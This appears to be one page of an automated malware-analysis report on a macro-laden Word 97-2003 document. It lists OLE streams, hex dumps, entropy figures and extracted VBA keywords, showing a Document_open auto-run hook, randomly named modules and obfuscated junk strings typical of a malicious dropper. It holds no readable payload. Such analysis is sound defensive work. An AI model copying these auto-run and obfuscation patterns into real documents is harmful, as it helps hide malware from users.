VBA File Name: UserForm1, Stream Size: -1

VBA Code Keywords

VBA File Name: UserForm2, Stream Size: -1
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General

Stream Path: Macros/UserForm2

VBA File Name: UserForm2

Stream Size: -1

Data ASCII:

Data Raw:

VBA Code

Keyword

False

VB_Exposed

Attribute

VB_Name

VB_Creatable

VB_PredeclaredId

VB_GlobalNameSpace

VB_Base

VB_Customizable

VB_TemplateDerived

General

Stream Path: Macros/UserForm3

VBA File Name: UserForm3

Stream Size: -1

Data ASCII:

Data Raw:

VBA Code

Keyword

False

VB_Exposed

Attribute

VB_Name

VB_Creatable

VB_PredeclaredId

VB_Base

VB_Customizable

VB_TemplateDerived

VB_GlobalNameSpace

General

Stream Path: Macros/UserForm4

VBA File Name: UserForm4

Stream Size: -1

Data ASCII:

Data Raw:

Keyword

False

VB_Exposed

Attribute

VB_Name

VBA Code Keywords

VBA File Name: UserForm3, Stream Size: -1

VBA Code Keywords

VBA File Name: UserForm4, Stream Size: -1

VBA Code Keywords
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VBA Code

VB_Creatable

VB_PredeclaredId

VB_GlobalNameSpace

VB_Customizable

VB_TemplateDerived

VB_Base

Keyword

General

Stream Path: Macros/UserForm5

VBA File Name: UserForm5

Stream Size: -1

Data ASCII:

Data Raw:

VBA Code

Keyword

False

VB_Exposed

Attribute

VB_Name

VB_Creatable

VB_PredeclaredId

VB_GlobalNameSpace

VB_Base

VB_Customizable

VB_TemplateDerived

General

Stream Path: Macros/VBA/Dk5att0cu_9jsb

VBA File Name: Dk5att0cu_9jsb

Stream Size: 1114

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . u . . . . . . . . . . . . . T 7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 01 16 01 00 00 f0 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff e5 02 00 00 75 03 00 
00 00 00 00 00 01 00 00 00 11 c0 54 37 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 

Keyword

False

Private

VB_Exposed

Attribute

VB_Creatable

VB_Name

Document_open()

VB_Customizable

VB_PredeclaredId

VB_GlobalNameSpace

VB_Base

VB_TemplateDerived

VBA File Name: UserForm5, Stream Size: -1

VBA Code Keywords

VBA File Name: Dk5att0cu_9jsb, Stream Size: 1114

VBA Code Keywords

Copyright null 2021 Page 32 of 81



VBA Code

General

Stream Path: Macros/VBA/Lxvinhyq0hu0i

VBA File Name: Lxvinhyq0hu0i

Stream Size: 16887

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 0 . . . . . . . . . . . . 4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 01 16 01 00 00 f0 00 00 00 8c 08 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 93 08 00 00 1f 30 00 
00 00 00 00 00 01 00 00 00 11 c0 34 97 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 

Keyword

"cBBImVFtj.VfOyHcZeG.KTQGJQv"

MVKdEA

"iYrsMDeBF.SIoiFJ.zdnAB"

"cfmqZH.yHFfXEyD.iUezXEC"

TFhBESFIX

yqztDCl:

VBA.Replace

jSGTCFaK:

hVRJE

"HGXMmlZoZ.jEXaTVE.zeocvMGG"

RZyrFJ

sbVXlJE:

aDFRF

KAedr

"ObyEHIBL.hGKABcIQ.yeYrFAOmg"

RMyrFd

qLfbCLdC

GLxLQDxBB

KiOKSNEG:

PrigNJEs

nCWvB

RhecDCNb:

YaqiI

yDuIa

aDFRF:

Binary

hckCCJvD:

UbSMfKFUj

CtmaxWDYG

dcClB:

VipWJ:

jSGTCFaK

IpXGAFACy

jWIUH

yqztDCl

"aguCEDpx.XlUcBUj.UPogGhX"

"zSasAJg.LDOIU.vvZOFJ"

"AtMXEHJGF.tPVXDfJI.vNeXEIF"

wVgZExzI

"gtvUAW.KeNGGlEDI.FCFXBEHbH"

hkpqEBd

FEJNFPMF

uYPoFiE

XvETIO

VBA File Name: Lxvinhyq0hu0i, Stream Size: 16887

VBA Code Keywords
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pxMXSJrIc:

dcClB

VIuzQOE:

"zpGvEhCHv.ZNcWIJcU.qeFzJB"

"gEMlED.skZhEggk.ZyWBD"

FzSmxUBI:

IIJMEYBZ

JubeVI

"QWkiJ.sNlBSC.hsUWFP"

BRfTAJ

lOYxmwBA

IIJMEYBZ:

UFEneAQF

FzOAw

"eKLzaJBKG.eCACJBH.NfdiGiC"

Resume

iAKfBEDC:

QqQRUOBIy

"nRpjIJ.tkIcCAbCF.hJzbH"

yHCsJFACD

lfjdHL

mxDIrHC

hckCCJvD

DxojDGC

rDIcxFB:

NwlcQEELI

eYojg

JXblRBK:

kaqktK

olbDbIA:

nCWvB:

"bfJqAKr.cLEdAF.oYWiAFEQ"

lbHAbDF:

ZqNrvaa:

kmOCpG

FoTWuD:

ChrW(wdKeyS)

bVAPDAD

"ZbLbn.FiqyBGPC.ROWoCHF"

cHoJJlDBJ

"CXrJJB.OBfnW.uqEngDYV"

"BpfOu.TVoTOHe.EzrPEDJ"

"rqFdfCgk.WuMsFCHq.wYpcBKVBP"

ObUqEpuD:

NwlcQEELI:

"pJlGBGe.jIXSWL.jkAfAEIf"

"hSzhx.onZqBBzG.aRYCE"

VB_Name

AJXECAN

ZxZNGGUBd:

IaIuovC:

WnWcBBeF

IaIuovC

"TNqlmI.VQzWNlJC.IuleF"

gvnNjywC:

"ErIlZF.tHbIE.idUJKwuOi"

oVlMEI

NJlsEIS

JxVVF

RWlYF

"ZFWwdLJFE.FcQNSnyB.yuKyrJAD"

"KeuGF.APuwUHxl.GiUhBFB"

fGzqP:

uJknJZHFB:

Keyword
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yJzxGZak

PksXIAC:

"obWgmFILu.KLSrfFHDI.nylpN"

"AcrzGL.zwvmHG.MqsxCr"

UbSMfKFUj:

kmOCpG:

"XIjXFFFIJ.jYAPtLTyj.PLtLFT"

Attribute

lfRjBXXFA:

lfRjBXXFA

fGzqP

VIuzQOE

RMyrFd:

JXblRBK

YEAwF

nhVWCG:

"BiUfo.vtUVwAWGC.hUSLqGGIO"

MVKdEA:

"oScEJFIH.GpYhI.ZPvpk"

iZGGBKjGH

"DcfnrACC.XeVEC.QdSVCUJ"

ohdoz

uJtiAP

"WWmJGCEWG.XCrNGJ.ficHzH"

cIiApH

LjVfJ

qLfbCLdC:

zHYrT

sbVXlJE

sCwjljF

JHGODJK

XvETIO:

BrrXfI

JzcNByvAX

"DbRqLDGCg.nxwYCaF.sZZrJ"

nmHtBKNIA

uJknJZHFB

kMzKEr:

pxMXSJrIc

"pPiJFZzI.dfizGxy.NRcSrA"

KiOKSNEG

SEnkGD

"nYskWX.aOSpmAFIB.kCBksCD"

"gjoHAq.pgiDH.iYppCzD"

HMJCGGAMi

"RSIiW.JGdvBjSmB.WubTFJ"

xuAPcBl

xuAPcBl:

jJMCQJDB:

nhVWCG

LjVfJ:

zHYrT:

kMzKEr

lbHAbDF

"YNveE.qehAq.fHHuGb"

"eHqqE.nCeMDET.kZWuQGE"

ZuuLFE

EhrmhuB

"NhKID.SYBhRIEGg.qCLeaM"

"NPkiDT.CkfBJvJ.bgnwZAB"

"fNHCB.hbEBBG.feKiwC"

IGamxCG

ZuuLFE:

jWIUH:

Keyword
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VBA Code

"MiwKq.hkWsDcI.YmoTAGR"

"NgFRIFlFQ.imXZAJE.tzzlC"

RhecDCNb

nmHtBKNIA:

WpdDxhHa

VipWJ

PksXIAC

String

gvnNjywC

eTuZIDG

kySRBFED

ObUqEpuD

uWAjsYwtG

FzSmxUBI

YEAwF:

"dcEwJD.cZCpC.kfXrIC"

FEJNFPMF:

"uozeDEQ.xTczzpJbJ.GKYoFkDTH"

"NipqJ.tIztQI.WMXjaJ"

yDuIa:

IpXGAFACy:

"qKjdvEDq.lYfhW.eTVwADADD"

yDAMCG

ZqNrvaa

TLfxGCa

EiViHgGI

IJSGH

iAKfBEDC

TFhBESFIX:

GwJXIC

Error

"dZEvHBM.HWisMo.kLMoA"

"OqezBEGR.dKnPpE.XZiNID"

dThRBEAv

rDIcxFB

JKIoD

cIiApH:

QyqGnByH

ahjNCC

yDAMCG:

Close

jJMCQJDB

"WWgXBJbAL.psfjJF.iosTZOn"

yHCsJFACD:

ZxZNGGUBd

Function

FoTWuD

hVRJE:

"dCIAJyHr.uGSFGCFE.hgENI"

olbDbIA

OXtlEDLCd

zoqaA

"UqHHHBQRG.wPBFeBYHC.BFGBerA"

"cklcdFF.ljzQFAII.yhDYGICo"

Keyword

General

Stream Path: Macros/VBA/UserForm1

VBA File Name: UserForm1

Stream Size: 1160

VBA File Name: UserForm1, Stream Size: 1160
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Data ASCII: . . . . . . . . . @ . . . . . . . L . . . . . . . G . . . . . . . . . . . . . . . . . n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 01 16 01 00 00 f0 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff ff ff ff 47 03 00 00 9b 03 00 
00 00 00 00 00 01 00 00 00 11 c0 6e ff 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 
00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

General

VBA Code

Keyword

VB_Exposed

Attribute

VB_Name

VB_Creatable

VB_PredeclaredId

VB_GlobalNameSpace

VB_Base

VB_Customizable

False

VB_TemplateDerived

General

Stream Path: Macros/VBA/UserForm2

VBA File Name: UserForm2

Stream Size: 1155

Data ASCII: . . . . . . . . . @ . . . . . . . L . . . . . . . G . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 01 16 01 00 00 f0 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff ff ff ff 47 03 00 00 9b 03 00 
00 00 00 00 00 01 00 00 00 11 c0 a8 f8 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 
00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

VBA Code

Keyword

False

VB_Exposed

Attribute

VB_Name

VB_Creatable

VB_PredeclaredId

VB_GlobalNameSpace

VB_Base

VB_Customizable

VB_TemplateDerived

General

Stream Path: Macros/VBA/UserForm3

VBA File Name: UserForm3

Stream Size: 1159

Data ASCII: . . . . . . . . . @ . . . . . . . L . . . . . . . G . . . . . . . . . . . . . . . . . ^ I . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

VBA Code Keywords

VBA File Name: UserForm2, Stream Size: 1155

VBA Code Keywords

VBA File Name: UserForm3, Stream Size: 1159
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Data Raw: 01 16 01 00 00 f0 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff ff ff ff 47 03 00 00 9b 03 00 
00 00 00 00 00 01 00 00 00 11 c0 5e 49 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 

General

VBA Code

Keyword

False

VB_Exposed

Attribute

VB_Name

VB_Creatable

VB_PredeclaredId

VB_Base

VB_Customizable

VB_TemplateDerived

VB_GlobalNameSpace

General

Stream Path: Macros/VBA/UserForm4

VBA File Name: UserForm4

Stream Size: 1160

Data ASCII: . . . . . . . . . @ . . . . . . . L . . . . . . . G . . . . . . . . . . . . . . . . . W . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 01 16 01 00 00 f0 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff ff ff ff 47 03 00 00 9b 03 00 
00 00 00 00 00 01 00 00 00 11 c0 57 91 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 

VBA Code

Keyword

False

VB_Exposed

Attribute

VB_Name

VB_Creatable

VB_PredeclaredId

VB_GlobalNameSpace

VB_Customizable

VB_TemplateDerived

VB_Base

General

Stream Path: Macros/VBA/UserForm5

VBA File Name: UserForm5

Stream Size: 1160

Data ASCII: . . . . . . . . . @ . . . . . . . L . . . . . . . G . . . . . . . . . . . . . . . . . . 9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 01 16 01 00 00 f0 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff ff ff ff 47 03 00 00 9b 03 00 
00 00 00 00 00 01 00 00 00 11 c0 f9 39 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 
00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

VBA Code Keywords

VBA File Name: UserForm4, Stream Size: 1160

VBA Code Keywords

VBA File Name: UserForm5, Stream Size: 1160
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VBA Code

Keyword

False

VB_Exposed

Attribute

VB_Name

VB_Creatable

VB_PredeclaredId

VB_GlobalNameSpace

VB_Base

VB_Customizable

VB_TemplateDerived

General

Stream Path: Macros/VBA/Vhr7vb1s1hgs

VBA File Name: Vhr7vb1s1hgs

Stream Size: 681

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . # . . . w . . . . . . . . . . . . . . ] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 01 16 01 00 00 f0 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 23 02 00 00 77 02 00 
00 00 00 00 00 01 00 00 00 11 c0 94 5d 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 

VBA Code

Keyword

Attribute

VB_Name

General

Stream Path: \x1CompObj

File Type: data

Stream Size: 114

Entropy: 4.2359563651

Base64 Encoded: True

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . F   . . . M i c r o s o f t   W o r d   9 7 - 2 0 0 3   D o c u m e n 
t . . . . . M S W o r d D o c . . . . . W o r d . D o c u m e n t . 8 . . 9 . q . . . . . . . . . . . . 

Data Raw: 01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 20 00 00 00 
4d 69 63 72 6f 73 6f 66 74 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44 6f 63 75 6d 65 6e 74 
00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 
74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00 

General

Stream Path: \x5DocumentSummaryInformation

File Type: data

Stream Size: 4096

Entropy: 0.252421588676

Base64 Encoded: False

VBA Code Keywords

VBA File Name: Vhr7vb1s1hgs, Stream Size: 681

VBA Code Keywords

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096
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Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . h . . . . . . . p . . . . . .
. | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 
cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e8 00 00 00 0c 00 00 00 01 00 00 00 
68 00 00 00 0f 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00 
00 00 8c 00 00 00 17 00 00 00 94 00 00 00 0b 00 00 00 9c 00 00 00 10 00 00 00 a4 00 00 00 
13 00 00 00 ac 00 00 00 

General

General

Stream Path: \x5SummaryInformation

File Type: data

Stream Size: 496

Entropy: 3.89869601257

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. p . . . . . . . X . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . .   . . . . . . . ( . . . . . . . 0 . . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . N o r m a l . d o t m . 

Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f 
f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 c0 01 00 00 11 00 00 00 01 00 00 00 90 00 
00 00 02 00 00 00 98 00 00 00 03 00 00 00 70 01 00 00 04 00 00 00 58 01 00 00 05 00 00 00 
a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 40 01 00 00 09 00 
00 00 d0 00 00 00 

General

Stream Path: 1Table

File Type: data

Stream Size: 7231

Entropy: 5.85333738879

Base64 Encoded: True

Data ASCII: . . . . . . . . s . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . .
. 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . 6 . . . 6 . . .
6 . . . 6 . . . 6 . . . 6 . . . > . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . .
6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 

Data Raw: 0a 06 0f 00 12 00 01 00 73 01 0f 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00 
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 
76 02 00 00 76 02 00 00 

General

Stream Path: Data

File Type: data

Stream Size: 99195

Entropy: 7.38970239713

Base64 Encoded: True

Data ASCII: { . . . D . d . . . . . . . . . . . . . . . . . . . . . / g . , b . r . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . j . .
. . . . . . . . . . . . . . . . . c . . . 8 . . . . A . . . . ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . i . c . t . u . r .
e .   . 1 . . . . . " . . . . . . . . . . . . . . . . . . . . . . . R . . . . . . . . . \\ . . . R . o . . . ! # q . . v . . . . . . . . . . D
. . . . . S . . F . . . . . . \\ . . . R . o . . . ! # q . . v . . . . . . 

Data Raw: 7b 83 01 00 44 00 64 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 2f 67 
eb 2c 62 01 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 0f 00 04 f0 6a 00 00 00 b2 04 0a f0 08 00 00 00 01 04 00 00 00 0a 00 
00 63 00 0b f0 38 00 00 00 04 41 01 00 00 00 3f 01 00 00 06 00 bf 01 00 00 10 00 ff 01 00 00 
08 00 80 c3 14 00 

General

Stream Path: Macros/PROJECT

File Type: ASCII text, with CRLF line terminators

Stream Size: 894

Entropy: 5.30543445279

Base64 Encoded: True

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 496

Stream Path: 1Table, File Type: data, Stream Size: 7231

Stream Path: Data, File Type: data, Stream Size: 99195

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 894
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Data ASCII: I D = " { 9 E 7 4 B F 6 0 - 7 1 9 9 - 4 B 1 2 - B 7 4 3 - 4 4 A 8 F B E E D 2 3 6 } " . . D o c u m e 
n t = D k 5 a t t 0 c u _ 9 j s b / & H 0 0 0 0 0 0 0 0 . . P a c k a g e = { A C 9 F 2 F 9 0 - E 8 7 7 
- 1 1 C E - 9 F 6 8 - 0 0 A A 0 0 5 7 4 A 4 F } . . B a s e C l a s s = U s e r F o r m 1 . . B a s e 
C l a s s = U s e r F o r m 2 . . B a s e C l a s s = U s e r F o r m 3 . . B a s e C l a s s = U s e r 
F o r m 4 . . B a s e C l a s s = U s e r F o r m 5 . . M o d u l e = L x v i n h y q 0 h u 0 i . . 

Data Raw: 49 44 3d 22 7b 39 45 37 34 42 46 36 30 2d 37 31 39 39 2d 34 42 31 32 2d 42 37 34 33 2d 34 
34 41 38 46 42 45 45 44 32 33 36 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 44 6b 35 61 74 74 
30 63 75 5f 39 6a 73 62 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 50 61 63 6b 61 67 65 3d 7b 
41 43 39 46 32 46 39 30 2d 45 38 37 37 2d 31 31 43 45 2d 39 46 36 38 2d 30 30 41 41 30 30 
35 37 34 41 34 46 7d 0d 

General

General

Stream Path: Macros/PROJECTwm

File Type: data

Stream Size: 278

Entropy: 3.75500935024

Base64 Encoded: False

Data ASCII: D k 5 a t t 0 c u _ 9 j s b . D . k . 5 . a . t . t . 0 . c . u . _ . 9 . j . s . b . . . U s e r F o r m 1 . U . s . 
e . r . F . o . r . m . 1 . . . U s e r F o r m 2 . U . s . e . r . F . o . r . m . 2 . . . U s e r F o r m 3 . U . 
s . e . r . F . o . r . m . 3 . . . U s e r F o r m 4 . U . s . e . r . F . o . r . m . 4 . . . U s e r F o r m 5 . 
U . s . e . r . F . o . r . m . 5 . . . L x v i n h y q 0 h u 0 i . L . x . v . i . n . h . y . q . 0 . h . u . 0 . i . . 
. V h r 7 v b 1 s 1 h g s . V . h . r . 

Data Raw: 44 6b 35 61 74 74 30 63 75 5f 39 6a 73 62 00 44 00 6b 00 35 00 61 00 74 00 74 00 30 00 63 
00 75 00 5f 00 39 00 6a 00 73 00 62 00 00 00 55 73 65 72 46 6f 72 6d 31 00 55 00 73 00 65 
00 72 00 46 00 6f 00 72 00 6d 00 31 00 00 00 55 73 65 72 46 6f 72 6d 32 00 55 00 73 00 65 
00 72 00 46 00 6f 00 72 00 6d 00 32 00 00 00 55 73 65 72 46 6f 72 6d 33 00 55 00 73 00 65 
00 72 00 46 00 6f 00 72 

General

Stream Path: Macros/UserForm1/\x1CompObj

File Type: data

Stream Size: 97

Entropy: 3.61064918306

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t   F o r m s   2 . 0   F o r m . . . . . E m b e
d d e d   O b j e c t . . . . . . 9 . q . . . . . . . . . . . . 

Data Raw: 01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 
00 00 00 00 

General

Stream Path: Macros/UserForm1/\x3VBFrame

File Type: ASCII text, with CRLF line terminators

Stream Size: 266

Entropy: 4.62034133633

Base64 Encoded: True

Data ASCII: V E R S I O N   5 . 0 0 . . B e g i n   { C 6 2 A 6 9 F 0 - 1 6 D C - 1 1 C E - 9 E 9 8 - 0 0 A A 0 0 
5 7 4 A 4 F }   U s e r F o r m 1   . .       C a p t i o n                   =       " U s e r F o r m 1 " . .       
C l i e n t H e i g h t         =       3 0 1 5 . .       C l i e n t L e f t             =       1 2 0 . .       C l i e 
n t T o p               =       4 6 5 . .       C l i e n t W i d t h           =       4 5 6 0 . .       S t a r t U p 
P o s i t i o n   =       1     ' C e n t e r O w 

Data Raw: 56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d 
31 36 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55 
73 65 72 46 6f 72 6d 31 20 0d 0a 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20 
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 31 22 0d 0a 20 20 20 43 6c 69 65 6e 74 48 65 69 67 
68 74 20 20 20 20 3d 20 

General

Stream Path: Macros/UserForm1/f

File Type: data

Stream Size: 38

Entropy: 1.54052096453

Base64 Encoded: False

Data ASCII: . . . . . . . . . } . . k . . . . . . . . . . . . . . . . . . . . . . . . . 

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 278

Stream Path: Macros/UserForm1/\x1CompObj, File Type: data, Stream Size: 97

